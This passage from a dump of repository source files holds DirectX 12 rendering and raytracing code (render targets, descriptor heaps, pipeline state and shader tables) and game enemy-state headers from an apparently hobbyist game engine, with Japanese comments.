(res.isHit)\n\t{\n\t\tm_effect->Play();\n\t\tm_effect->SetPos(tra.getOrigin());\n\t\tauto pthis = this;\n\t\tDeleteGO(pthis);\n\t}*/\n}\n\nvoid Enemy_LaunchBomb::PostUpdate()\n{\n\n}\n\n\n\n"
},
{
"alpha_fraction": 0.691947877407074,
"alphanum_fraction": 0.7206816077232361,
"avg_line_length": 27.103286743164062,
"blob_id": "bf030d85075ce2c0ede71a56a32727953247cc77",
"content_id": "9182b1ea6fd59cdaee8e419971bc32aa0691f154",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 6758,
"license_type": "no_license",
"max_line_length": 230,
"num_lines": 213,
"path": "/UsualEngineR/Graphics/RenderTarget.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"RenderTarget.h\"\n#include \"GraphicsEngine.h\"\n\n\nnamespace UER\n{\n\t\n\tbool RenderTarget::Create(\n\t\tint w,\n\t\tint h,\n\t\tint mipLevel,\n\t\tint arraySize,\n\t\tDXGI_FORMAT colorFormat,\n\t\tDXGI_FORMAT depthStencilFormat,\n\t\tconst float clearColor[4]\n\t)\n\t{\n\t\tauto pd3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\tID3D12Device* d3dDevice = (ID3D12Device*)pd3dDevice;\n\t\tm_width = w;\n\t\tm_height = h;\n\t\t//レンダリングターゲットとなるテクスチャを作成する。\n\t\tif (!CreateRenderTargetTexture(*g_graphicsEngine, d3dDevice, w, h, mipLevel, arraySize, colorFormat, clearColor)) {\n\t\t//\tTK_ASSERT(false, \"レンダリングターゲットとなるテクスチャの作成に失敗しました。\");\n\t\t\tMessageBox(nullptr, L\"レンダリングターゲットとなるテクスチャの作成に失敗しました\\ncreate renderTarget faild\", L\"エラー\", MB_OK);\n\t\t\tstd::abort();\n\t\t\treturn false;\n\t\t}\n\t\t//深度ステンシルバッファとなるテクスチャを作成する。\n\t\tif (depthStencilFormat != DXGI_FORMAT_UNKNOWN) {\n\t\t\tif (!CreateDepthStencilTexture(*g_graphicsEngine, d3dDevice, w, h, depthStencilFormat)) {\n\t\t\t\tMessageBox(nullptr, L\"レンダリングターゲットとなるテクスチャの作成に失敗しました\\ncreate renderTarget faild\", L\"エラー\", MB_OK);\n\t\t\t\tstd::abort();\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\tif (!CreateDescriptorHeap(*g_graphicsEngine, d3dDevice)) {\n\t\t\t//ディスクリプタヒープの作成に失敗した。\n\t\t\tMessageBox(nullptr, L\"レンダリングターゲットとなるテクスチャの作成に失敗しました\\ncreate renderTarget faild\", L\"エラー\", MB_OK);\n\t\t\tstd::abort();\n\t\t\treturn false;\n\t\t}\n\t\t//ディスクリプタを作成する。\n\t\tCreateDescriptor(d3dDevice);\n\t\tif (clearColor) {\n\t\t\tmemcpy(m_rtvClearColor, clearColor, sizeof(float)*4);\n\t\t}\n\t\treturn true;\n\t}\n\tbool RenderTarget::Create(ID3D12Resource* rtTex, ID3D12Resource* dsTex, ID3D12DescriptorHeap* rtHeap, ID3D12DescriptorHeap* dsHeap, UINT rtvDescriptorSize, UINT dsvDescriptorSize, int width, int height, const float clearColor[4])\n\t{\n\t\tm_renderTargetTextureDx12 = rtTex;\n\t\tm_depthStencilTexture = dsTex;\n\t\tm_renderTargetTexture.InitFromD3DResource(rtTex);\n\t\tm_rtvHeap = rtHeap;\n\t\tm_dsvHeap = dsHeap;\n\t\tm_rtvDescriptorSize = rtvDescriptorSize;\n\t\tm_dsvDescriptorSize = dsvDescriptorSize;\n\t\tm_width = width;\n\t\tm_height = height;\n\t\tif (clearColor) {\n\t\t\tmemcpy(m_rtvClearColor, clearColor, sizeof(float)*4);\n\t\t}\n\t\treturn true;\n\t}\n\tvoid RenderTarget::Clear(RenderContext& rc)\n\t{\n\t\trc.ClearRenderTargetView(m_rtvHeap->GetCPUDescriptorHandleForHeapStart(), m_rtvClearColor);\n\t\tif(m_dsvHeap)\n\t\t\trc.ClearDepthStencilView(m_dsvHeap->GetCPUDescriptorHandleForHeapStart(), m_dsvClearValue);\n\t}\n\tbool RenderTarget::CreateDescriptorHeap(GraphicsEngine& ge, ID3D12Device*& d3dDevice)\n\t{\n\t\t\t\n\t\t//RTV用のディスクリプタヒープを作成する。\n\t\tD3D12_DESCRIPTOR_HEAP_DESC desc = {};\n\t\tdesc.NumDescriptors = GraphicsEngine::FRAME_BUFFER_COUNT;\n\t\tdesc.Type = D3D12_DESCRIPTOR_HEAP_TYPE_RTV;\n\t\tdesc.Flags = D3D12_DESCRIPTOR_HEAP_FLAG_NONE;\n\t\td3dDevice->CreateDescriptorHeap(&desc, IID_PPV_ARGS(&m_rtvHeap));\n\t\tif (m_rtvHeap == nullptr) {\n\t\t\t//RTV用のディスクリプタヒープの作成に失敗した。\n\t\t\treturn false;\n\t\t}\n\t\t//ディスクリプタのサイズを取得。\n\t\tm_rtvDescriptorSize = d3dDevice->GetDescriptorHandleIncrementSize(D3D12_DESCRIPTOR_HEAP_TYPE_RTV);\n\t\n\t\tif (m_depthStencilTexture) {\n\t\t\t//DSV用のディスクリプタヒープを作成する。\n\t\t\tdesc.NumDescriptors = 1;\n\t\t\tdesc.Type = D3D12_DESCRIPTOR_HEAP_TYPE_DSV;\n\t\t\td3dDevice->CreateDescriptorHeap(&desc, IID_PPV_ARGS(&m_dsvHeap));\n\t\t\tif (m_dsvHeap == nullptr) {\n\t\t\t\t//DSV用のディスクリプタヒープの作成に失敗した。\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t//ディスクリプタのサイズを取得。\n\t\t\tm_dsvDescriptorSize = d3dDevice->GetDescriptorHandleIncrementSize(D3D12_DESCRIPTOR_HEAP_TYPE_DSV);\n\t\t}\n\t\treturn true;\n\t}\n\tbool RenderTarget::CreateRenderTargetTexture(\n\t\tGraphicsEngine& ge,\n\t\tID3D12Device*& d3dDevice,\n\t\tint w,\n\t\tint h,\n\t\tint mipLevel,\n\t\tint arraySize,\n\t\tDXGI_FORMAT format,\n\t\tconst float clearColor[4]\n\t)\n\t{\n\t\tCD3DX12_RESOURCE_DESC desc(\n\t\t\tD3D12_RESOURCE_DIMENSION_TEXTURE2D,\n\t\t\t0,\n\t\t\tstatic_cast<UINT>(w),\n\t\t\tstatic_cast<UINT>(h),\n\t\t\tarraySize,\n\t\t\tmipLevel,\n\t\t\tformat,\n\t\t\t1,\n\t\t\t0,\n\t\t\tD3D12_TEXTURE_LAYOUT_UNKNOWN,\n\t\t\tD3D12_RESOURCE_FLAG_ALLOW_RENDER_TARGET\n\t\t);\n\t\n\t\tD3D12_CLEAR_VALUE clearValue;\n\t\tclearValue.Format = format;\n\t\tif (clearColor != nullptr) {\n\t\t\tclearValue.Color[0] = clearColor[0];\n\t\t\tclearValue.Color[1] = clearColor[1];\n\t\t\tclearValue.Color[2] = clearColor[2];\n\t\t\tclearValue.Color[3] = clearColor[3];\n\t\t}\n\t\telse {\n\t\t\tclearValue.Color[0] = 0.0f;\n\t\t\tclearValue.Color[1] = 0.0f;\n\t\t\tclearValue.Color[2] = 0.0f;\n\t\t\tclearValue.Color[3] = 1.0f;\n\t\t}\n\t\t//リソースを作成。\n\t\tauto hp = CD3DX12_HEAP_PROPERTIES(D3D12_HEAP_TYPE_DEFAULT);\n\t\tauto hr = d3dDevice->CreateCommittedResource(\n\t\t\t&hp,\n\t\t\tD3D12_HEAP_FLAG_NONE,\n\t\t\t&desc,\n\t\t\tD3D12_RESOURCE_STATE_COMMON,\n\t\t\t&clearValue,\n\t\t\tIID_PPV_ARGS(&m_renderTargetTextureDx12)\n\t\t);\n\t\n\t\tif (FAILED(hr)) {\n\t\t\t//作成に失敗。\n\t\t\treturn false;\n\t\t}\n\t\tm_renderTargetTexture.InitFromD3DResource(m_renderTargetTextureDx12);\n\t\treturn true;\n\t}\n\tbool RenderTarget::CreateDepthStencilTexture(\n\t\tGraphicsEngine& ge,\n\t\tID3D12Device*& d3dDevice,\n\t\tint w,\n\t\tint h,\n\t\tDXGI_FORMAT format)\n\t{\n\t\tD3D12_CLEAR_VALUE dsvClearValue;\n\t\tdsvClearValue.Format = format;\n\t\tdsvClearValue.DepthStencil.Depth = 1.0f;\n\t\tdsvClearValue.DepthStencil.Stencil = 0;\n\t\n\t\tCD3DX12_RESOURCE_DESC desc(\n\t\t\tD3D12_RESOURCE_DIMENSION_TEXTURE2D,\n\t\t\t0,\n\t\t\tstatic_cast<UINT>(w),\n\t\t\tstatic_cast<UINT>(h),\n\t\t\t1,\n\t\t\t1,\n\t\t\tformat,\n\t\t\t1,\n\t\t\t0,\n\t\t\tD3D12_TEXTURE_LAYOUT_UNKNOWN,\n\t\t\tD3D12_RESOURCE_FLAG_ALLOW_DEPTH_STENCIL | D3D12_RESOURCE_FLAG_DENY_SHADER_RESOURCE);\n\t\n\t\tauto hp = CD3DX12_HEAP_PROPERTIES(D3D12_HEAP_TYPE_DEFAULT);\n\t\tauto hr = d3dDevice->CreateCommittedResource(\n\t\t\t&hp,\n\t\t\tD3D12_HEAP_FLAG_NONE,\n\t\t\t&desc,\n\t\t\tD3D12_RESOURCE_STATE_DEPTH_WRITE,\n\t\t\t&dsvClearValue,\n\t\t\tIID_PPV_ARGS(&m_depthStencilTexture)\n\t\t);\n\t\tif (FAILED(hr)) {\n\t\t\t//深度ステンシルバッファの作成に失敗。\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\tvoid RenderTarget::CreateDescriptor(ID3D12Device*& d3dDevice)\n\t{\n\t\t//カラーテクスチャのディスクリプタを作成。\n\t\tauto rtvHandle = m_rtvHeap->GetCPUDescriptorHandleForHeapStart();\n\t\td3dDevice->CreateRenderTargetView(m_renderTargetTexture.Get(), nullptr, rtvHandle);\n\t\tif (m_depthStencilTexture) {\n\t\t\t//深度テクスチャのディスクリプタを作成\n\t\t\tauto dsvHandle = m_dsvHeap->GetCPUDescriptorHandleForHeapStart();\n\t\t\td3dDevice->CreateDepthStencilView(m_depthStencilTexture, nullptr, dsvHandle);\n\t\t}\n\t}\n\n\n}\n"
},
{
"alpha_fraction": 0.6754176616668701,
"alphanum_fraction": 0.6754176616668701,
"avg_line_length": 21.675676345825195,
"blob_id": "1d40bce1463e0cf35a49021f73d1f6aa1a32a285",
"content_id": "ddceda0e34af3ccc8f59daa8fd07544ee8cc24fa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 994,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 37,
"path": "/UsualEngineR/Graphics/Raytracing/RaytracingDescriptorHeaps.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"RaytracingWorld.h\"\n#include \"GPUBuffer.h\"\n\nnamespace UER\n{\n\tnamespace raytracing {\n\t\t/// <summary>\n\t\t/// レイトレーシングで使用するディスクリプタヒープ\n\t\t/// </summary>\n\t\tclass DescriptorHeaps {\n\t\tpublic:\n\t\t\t/// <summary>\n\t\t\t/// 各種リソースをディスクリプタヒープに登録していく。\n\t\t\t/// </summary>\n\t\t\t/// <param name=\"world\"></param>\n\t\t\t/// <param name=\"outputBuffer\"></param>\n\t\t\t/// <param name=\"rayGeneCB\"></param>\n\t\t\tvoid Init(\n\t\t\t\tWorld& world,\n\t\t\t\tGPUBuffer& outputBuffer,\n\t\t\t\tConstantBuffer& rayGeneCB\n\t\t\t);\n\t\t\tconst DescriptorHeap& GetSrvUavCbvDescriptorHeap() const\n\t\t\t{\n\t\t\t\treturn m_srvUavCbvHeap;\n\t\t\t}\n\t\t\tconst DescriptorHeap& GetSamplerDescriptorHeap() const\n\t\t\t{\n\t\t\t\treturn m_samplerDescriptorHeap;\n\t\t\t}\n\t\tprivate:\n\t\t\tDescriptorHeap m_srvUavCbvHeap;\t\t\t//SRV_UAV_CBV用のディスクリプタヒープ。\n\t\t\tDescriptorHeap m_samplerDescriptorHeap;\t//サンプラ用のディスクリプタヒープ。\n\t\t};\n\t}\n}"
},
{
"alpha_fraction": 0.6842948794364929,
"alphanum_fraction": 0.6842948794364929,
"avg_line_length": 14.625,
"blob_id": "ad5f11ede6bca3b3336409e182e02a52a24533ed",
"content_id": "100051873c8a1318b80ccba56d7d8c92c1138d72",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 624,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 40,
"path": "/UsualEngineR/Graphics/RenderingSituation.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\tenum class ERenderSituation : char\n\t{\n\t\tNone,\n\t\tShadowMap,\n\t\tGBuffer,\n\t\tPostRender,\n\t};\n\n\t/// <summary>\n\t/// \n\t/// </summary>\n\tclass RenderingSituation\n\t{\n\tprivate:\n\t\tRenderingSituation() {};\n\t\t~RenderingSituation() {};\n\t\tstatic RenderingSituation& GetInstance()\n\t\t{\n\t\t\tstatic RenderingSituation instance;\n\t\t\treturn instance;\n\t\t}\n\tpublic:\n\t\tstatic ERenderSituation Get()\n\t\t{\n\t\t\treturn GetInstance().m_situation;\n\t\t}\n\t\tstatic ERenderSituation Set(ERenderSituation stu)\n\t\t{\n\t\t\treturn GetInstance().m_situation = stu;\n\t\t}\n\tprivate:\n\t\tERenderSituation m_situation = ERenderSituation::None;\n\t};\n}"
},
{
"alpha_fraction": 0.724056601524353,
"alphanum_fraction": 0.7311320900917053,
"avg_line_length": 22.55555534362793,
"blob_id": "cb4807ed2f85e5dc96d5428f276b86add351c4e2",
"content_id": "42d0423b4d4c1c8b397749d0882530329b774dc7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 424,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 18,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanDeadState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass Boss_FatmanDeadState final : public IEnemyState\n{\npublic:\n\tBoss_FatmanDeadState();\n\t~Boss_FatmanDeadState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\tbool m_isPerformed = false;\n\tbool m_isEffect = false;\n\tVector3 m_pos = Vector3::Zero;\n\tfloat m_timer = 0.f;\n};\n"
},
{
"alpha_fraction": 0.7378480434417725,
"alphanum_fraction": 0.7556833028793335,
"avg_line_length": 40.73777770996094,
"blob_id": "da6c257030973b87bde86f77aaec8b2cf472acac",
"content_id": "39367dde48000ae07e562d5577df00f6185acfeb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 20186,
"license_type": "no_license",
"max_line_length": 220,
"num_lines": 450,
"path": "/UsualEngineR/Graphics/RaytracingEngine.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "\n#include \"PreCompile.h\"\n#include \"RaytracingHelper.h\"\n\n#include \"RaytracingEngine.h\"\n#include \"Material.h\"\n\n\n\n#define align_to(_alignment, _val) (((_val + _alignment - 1) / _alignment) * _alignment)\nusing namespace std;\nnamespace UER\n{\n\n\n\tvoid RaytracingEngine::CreatePipelineState(RenderContext& rc)\n\t{\n\t\tusing namespace BuildSubObjectHelper;\n\t\tstd::array<D3D12_STATE_SUBOBJECT, 14> subobjects;\n\t\tuint32_t index = 0;\n\n\t\t//DXILライブラリを作成。\n\t\t//レイトレーシング用のシェーダーをロード。\n\t\tShader raytraceShader;\n\t\traytraceShader.LoadRaytracing(L\"Assets/shader/sample.fx\");\n\n\t\tD3D12_EXPORT_DESC libExport[eShader_Num];\n\t\tfor( int i = 0; i < eShader_Num; i++ ){\n\t\t\tlibExport[i].Name = shaderDatas[i].entryPointName;\n\t\t\tlibExport[i].ExportToRename = nullptr;\n\t\t\tlibExport[i].Flags = D3D12_EXPORT_FLAG_NONE;\n\t\t};\n\n\t\tD3D12_DXIL_LIBRARY_DESC dxLibdesc;\n\t\tauto pBlob = raytraceShader.GetCompiledDxcBlob();\n\t\tdxLibdesc.DXILLibrary.pShaderBytecode = pBlob->GetBufferPointer();\n\t\tdxLibdesc.DXILLibrary.BytecodeLength = pBlob->GetBufferSize();\n\t\tdxLibdesc.NumExports = ARRAYSIZE(libExport);\n\t\tdxLibdesc.pExports = libExport;\n\n\t\tsubobjects[index].Type = D3D12_STATE_SUBOBJECT_TYPE_DXIL_LIBRARY;\n\t\tsubobjects[index].pDesc = &dxLibdesc;\n\n\t\tindex++;\n\n\t\t//HitGroupのサブオブジェクトを作成。\n\n\t\tstd::vector< HitGroupSubObject> hitGroupSOs;\n\t\thitGroupSOs.resize(eHitGroup_Num);\n\t\tfor (int i = 0; i < eHitGroup_Num; i++) {\n\t\t\thitGroupSOs[i].Init( hitGroups[i] );\n\t\t\tsubobjects[index++] = hitGroupSOs[i].subObject; // 1 Hit Group\n\t\t}\n\t\n\t\tauto BuildAndRegistRootSignatureAndAssSubobjectFunc = [&](\n\t\t\tLocalRootSignatureSubobject& rsSO, ExportAssociationSubobject& ass, ELocalRootSignature eRS, const WCHAR* exportNames[]\n\t\t) {\n\t\t\tif (eRS == eLocalRootSignature_Raygen) {\n\t\t\t\trsSO.Init(CreateRayGenRootDesc().desc);\n\t\t\t}\n\t\t\tif (eRS == eLocalRootSignature_Model) {\n\t\t\t\trsSO.Init(CreateModelSinature().desc);\n\t\t\t}\n\t\t\tif (eRS == eLocalRootSignature_Empty) {\n\t\t\t\tD3D12_ROOT_SIGNATURE_DESC emptyDesc = {};\n\t\t\t\temptyDesc.Flags = D3D12_ROOT_SIGNATURE_FLAG_LOCAL_ROOT_SIGNATURE;\n\t\t\t\trsSO.Init(emptyDesc);\n\t\t\t}\n\t\t\tsubobjects[index] = rsSO.subobject;\n\t\t\tuint32_t rgSOIndex = index++;\n\t\t\n\t\t\tint useRootSignature = 0;\n\t\t\tfor (auto& shaderData : shaderDatas) {\n\t\t\t\tif (shaderData.useLocalRootSignature == eRS) {\n\t\t\t\t\t//こいつは指定されたルートシグネチャを使う。\n\t\t\t\t\texportNames[useRootSignature] = shaderData.entryPointName;\n\t\t\t\t\tuseRootSignature++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tass.Init(exportNames, useRootSignature, &(subobjects[rgSOIndex]));\n\t\t\tsubobjects[index++] = ass.subobject;\n\t\t};\n\t\t//ルートシグネチャとシェーダーの関連付けを行うサブオブジェクトを作っていく。\n\t\tLocalRootSignatureSubobject rayGenSignatureSO, modelSignatureSO, emptySignatureSO;\n\t\tExportAssociationSubobject rayGenAssSO, modelAssSO, emptyAssSO;\n\t\tconst WCHAR* rayGenExportName[eShader_Num];\n\t\tconst WCHAR* modelExportName[eShader_Num];\n\t\tconst WCHAR* emptyExportName[eShader_Num];\n\n\t\tBuildAndRegistRootSignatureAndAssSubobjectFunc(rayGenSignatureSO, rayGenAssSO, eLocalRootSignature_Raygen, rayGenExportName);\n\t\tBuildAndRegistRootSignatureAndAssSubobjectFunc(modelSignatureSO, modelAssSO, eLocalRootSignature_Model, modelExportName);\n\t\tBuildAndRegistRootSignatureAndAssSubobjectFunc(emptySignatureSO, emptyAssSO, eLocalRootSignature_Empty, emptyExportName);\n\n\n\t\t// Payloadのサイズと引数の数はとりあえず固定で・・・。後で検討。\n\t\tShaderConfigSubobject shaderConfig;\n\t\tshaderConfig.Init(sizeof(float) * 2, sizeof(float) * 10);\n\t\tsubobjects[index] = shaderConfig.subobject; // \n\n\t\tuint32_t shaderConfigIndex = index++; \n\t\tExportAssociationSubobject configAssociationSO;\n\t\tconst WCHAR* entryPointNames[eShader_Num];\n\t\tfor (int i = 0; i < eShader_Num; i++) {\n\t\t\tentryPointNames[i] = shaderDatas[i].entryPointName;\n\t\t}\n\t\tconfigAssociationSO.Init(entryPointNames, eShader_Num, &subobjects[shaderConfigIndex]);\n\t\tsubobjects[index++] = configAssociationSO.subobject;\n\n\t\t// パイプライン設定のサブオブジェクトを作成。\n\t\tPipelineConfigSubobject config;\n\t\tsubobjects[index++] = config.subobject; \n\n\t\t // グローバルルートシグネチャのサブオブジェクトを作成。\n\t\tGlobalRootSignatureSubobject root;\n\t\tm_emptyRootSignature = root.pRootSig;\n\t\tsubobjects[index++] = root.subobject; \n\t\n\t\t// Create the state\n\t\tD3D12_STATE_OBJECT_DESC desc;\n\t\tdesc.NumSubobjects = index;\n\t\tdesc.pSubobjects = subobjects.data();\n\t\tdesc.Type = D3D12_STATE_OBJECT_TYPE_RAYTRACING_PIPELINE;\n\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\tauto hr = d3dDevice->CreateStateObject(&desc, IID_PPV_ARGS(&m_pipelineState));\n\t\tif (FAILED(hr) ){\n\t\t\tMessageBox(nullptr, L\"パイプラインステートの作成に失敗しました。\\n\", L\"エラー\", MB_OK);\n\t\t\tstd::abort();\n\t\t}\n\t}\n\tvoid RaytracingEngine::CreateShaderResources()\n\t{\n\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\t// Create the output resource. The dimensions and format should match the swap-chain\n\t\tD3D12_RESOURCE_DESC resDesc = {};\n\t\tresDesc.DepthOrArraySize = 1;\n\t\tresDesc.Dimension = D3D12_RESOURCE_DIMENSION_TEXTURE2D;\n\t\tresDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM; // The backbuffer is actually DXGI_FORMAT_R8G8B8A8_UNORM_SRGB, but sRGB formats can't be used with UAVs. We will convert to sRGB ourselves in the shader\n\t\tresDesc.Flags = D3D12_RESOURCE_FLAG_ALLOW_UNORDERED_ACCESS;\n\t\tresDesc.Height = g_graphicsEngine->GetFrameBufferHeight();\n\t\tresDesc.Layout = D3D12_TEXTURE_LAYOUT_UNKNOWN;\n\t\tresDesc.MipLevels = 1;\n\t\tresDesc.SampleDesc.Count = 1;\n\t\tresDesc.Width = g_graphicsEngine->GetFrameBufferWidth();\n\t\td3dDevice->CreateCommittedResource(&kDefaultHeapProps, D3D12_HEAP_FLAG_NONE, &resDesc, D3D12_RESOURCE_STATE_COPY_SOURCE, nullptr, IID_PPV_ARGS(&m_outputResource)); // Starting as copy-source to simplify onFrameRender()\n\n\t\t// Create an SRV/UAV descriptor heap. Need 2 entries - 1 SRV for the scene and 1 UAV for the output\n\t\tm_srvUavHeap = CreateDescriptorHeap(2, D3D12_DESCRIPTOR_HEAP_TYPE_CBV_SRV_UAV, true);\n\n\t\t// Create the UAV. Based on the root signature we created it should be the first entry\n\t\tD3D12_UNORDERED_ACCESS_VIEW_DESC uavDesc = {};\n\t\tuavDesc.ViewDimension = D3D12_UAV_DIMENSION_TEXTURE2D;\n\t\td3dDevice->CreateUnorderedAccessView(m_outputResource, nullptr, &uavDesc, m_srvUavHeap->GetCPUDescriptorHandleForHeapStart());\n\n\t\t// Create the TLAS SRV right after the UAV. Note that we are using a different SRV desc here\n\t\tD3D12_SHADER_RESOURCE_VIEW_DESC srvDesc = {};\n\t\tsrvDesc.ViewDimension = D3D12_SRV_DIMENSION_RAYTRACING_ACCELERATION_STRUCTURE;\n\t\tsrvDesc.Shader4ComponentMapping = D3D12_DEFAULT_SHADER_4_COMPONENT_MAPPING;\n\t\tsrvDesc.RaytracingAccelerationStructure.Location = m_topLevelASBuffers.pResult->GetGPUVirtualAddress();\n\t\tD3D12_CPU_DESCRIPTOR_HANDLE srvHandle = m_srvUavHeap->GetCPUDescriptorHandleForHeapStart();\n\t\tsrvHandle.ptr += d3dDevice->GetDescriptorHandleIncrementSize(D3D12_DESCRIPTOR_HEAP_TYPE_CBV_SRV_UAV);\n\t\td3dDevice->CreateShaderResourceView(nullptr, &srvDesc, srvHandle);\n\t}\n\n\tvoid RaytracingEngine::CreateShaderTable(RenderContext& rc)\n\t{\n\t\t//各シェーダーの数を調査。\n\t\tm_numRayGenShader = 0;\n\t\tm_numMissShader = 0;\n\t\tm_numHitShader = 0;\n\t\tfor (auto& shaderData : shaderDatas) {\n\t\t\tif (shaderData.category == eShaderCategory_RayGenerator) m_numRayGenShader++;\n\t\t\tif (shaderData.category == eShaderCategory_Miss) m_numMissShader++;\n\t\t\tif (shaderData.category == eShaderCategory_ClosestHit) m_numHitShader++;\n\t\t}\n\t\t// Calculate the size and create the buffer\n\t\tm_shaderTableEntrySize = D3D12_SHADER_IDENTIFIER_SIZE_IN_BYTES;\n\t\tm_shaderTableEntrySize += sizeof(D3D12_GPU_DESCRIPTOR_HANDLE) * 2; // The hit shader\n\t\tm_shaderTableEntrySize = align_to(D3D12_RAYTRACING_SHADER_RECORD_BYTE_ALIGNMENT, m_shaderTableEntrySize);\n\t\tuint32_t shaderTableSize = m_shaderTableEntrySize * (m_numRayGenShader + m_numMissShader + (m_numHitShader * m_instances.size()));\n\n\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\t//シェーダーテーブル用のバッファを作成。\n\t\tm_shaderTable = CreateBuffer(d3dDevice, shaderTableSize, D3D12_RESOURCE_FLAG_NONE, D3D12_RESOURCE_STATE_GENERIC_READ, kUploadHeapProps);\n\n\t\t//バッファをシステムメモリにマップする。\n\t\tuint8_t* pData;\n\t\tm_shaderTable->Map(0, nullptr, (void**)&pData);\n\n\t\tCComPtr< ID3D12StateObjectProperties > pRtsoProps;\n\t\tm_pipelineState->QueryInterface(&pRtsoProps);\n\t\n\t\tuint8_t* pCurret = pData;\n\n\t\t//シェーダーテーブルにシェーダーを登録する関数。\n\t\tauto RegistShaderTblFunc = [&](const ShaderData& shaderData, EShaderCategory registCategory, RaytracingInstance* instance){\n\t\t\tif (shaderData.category == registCategory) {\n\t\t\t\t//まずシェーダーIDを設定する。\n\t\t\t\tvoid* pShaderId = nullptr;\n\t\t\t\tif (registCategory == eShaderCategory_ClosestHit) {\n\t\t\t\t\tpShaderId = pRtsoProps->GetShaderIdentifier(hitGroups[shaderData.hitgroup].name);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tpShaderId = pRtsoProps->GetShaderIdentifier(shaderData.entryPointName);\n\t\t\t\t}\n\t\t\t\tmemcpy(pCurret, pShaderId, D3D12_SHADER_IDENTIFIER_SIZE_IN_BYTES);\n\t\t\t\tif (shaderData.useLocalRootSignature == eLocalRootSignature_Raygen) {\n\t\t\t\t\t//デフォルトのルートシグネチャを使用する場合、シェーダーIDの後ろにディスクリプタヒープへのアドレスを設定する。\n\t\t\t\t\tuint64_t heapStart = m_srvUavHeap->GetGPUDescriptorHandleForHeapStart().ptr;\n\t\t\t\t\t*(uint64_t*)(pCurret + D3D12_SHADER_IDENTIFIER_SIZE_IN_BYTES) = heapStart;\n\t\t\t\t}\n\t\t\t\tif (shaderData.useLocalRootSignature == eLocalRootSignature_Model) {\n\t\t\t\t\tuint8_t* pDst = pCurret + D3D12_SHADER_IDENTIFIER_SIZE_IN_BYTES;\n\n\t\t\t\t\t*(uint64_t*)(pDst) = m_topLevelASBuffers.pResult->GetGPUVirtualAddress();\t//シーン。\n\t\t\t\t\tpDst += sizeof(D3D12_GPU_DESCRIPTOR_HANDLE);\n\t\t\t\t\t/*D3D12_CPU_DESCRIPTOR_HANDLE cpuHandle;\n\t\t\t\t\tcpuHandle.ptr = (SIZE_T)pDst;\n\t\t\t\t\tinstance->m_albedoTexture->RegistShaderResourceView(cpuHandle, 0);*/\n\t\t\t\t}\n\t\t\t\t//次。\n\t\t\t\tpCurret += m_shaderTableEntrySize;\n\t\t\t}\n\t\t};\n\t\t// レイジェネレーションシェーダーをテーブルに登録していく。\n\t\tfor (auto& shader : shaderDatas) {\n\t\t\tRegistShaderTblFunc(shader, eShaderCategory_RayGenerator, nullptr);\n\t\t}\n\t\t// 続いてミスシェーダー。\n\t\tfor (auto& shader : shaderDatas) {\n\t\t\tRegistShaderTblFunc(shader, eShaderCategory_Miss, nullptr);\n\t\t}\n\t\t//最後にヒットシェーダー。ヒットシェーダーはヒットシェーダーの数 × インスタンスの数だけ登録する。\n\t\tfor (auto& instance : m_instances) {\n\t\t\tfor (auto& shader : shaderDatas) {\n\t\t\t\tRegistShaderTblFunc(shader, eShaderCategory_ClosestHit, &instance);\n\t\t\t};\n\t\t}\n\n\t\t//Unmap\n\t\tm_shaderTable->Unmap(0, nullptr);\n\t}\n\tvoid RaytracingEngine::Dispatch(RenderContext& rc)\n\t{\n\t\tD3D12_RESOURCE_BARRIER barrier = {};\n\t\tbarrier.Type = D3D12_RESOURCE_BARRIER_TYPE_TRANSITION;\n\t\tbarrier.Transition.pResource = m_outputResource;\n\t\tbarrier.Transition.Subresource = D3D12_RESOURCE_BARRIER_ALL_SUBRESOURCES;\n\t\tbarrier.Transition.StateBefore = D3D12_RESOURCE_STATE_COPY_SOURCE;\n\t\tbarrier.Transition.StateAfter = D3D12_RESOURCE_STATE_UNORDERED_ACCESS;\n\t\trc.ResourceBarrier(barrier);\n\n\t\tD3D12_DISPATCH_RAYS_DESC raytraceDesc = {};\n\t\traytraceDesc.Width = g_graphicsEngine->GetFrameBufferWidth();\n\t\traytraceDesc.Height = g_graphicsEngine->GetFrameBufferHeight();\n\t\traytraceDesc.Depth = 1;\n\n\t\n\t\t// レイ生成シェーダーのシェーダーテーブルの開始アドレスとサイズを設定。\n\t\traytraceDesc.RayGenerationShaderRecord.StartAddress = m_shaderTable->GetGPUVirtualAddress();\n\t\traytraceDesc.RayGenerationShaderRecord.SizeInBytes = m_shaderTableEntrySize;\n\n\t\t// 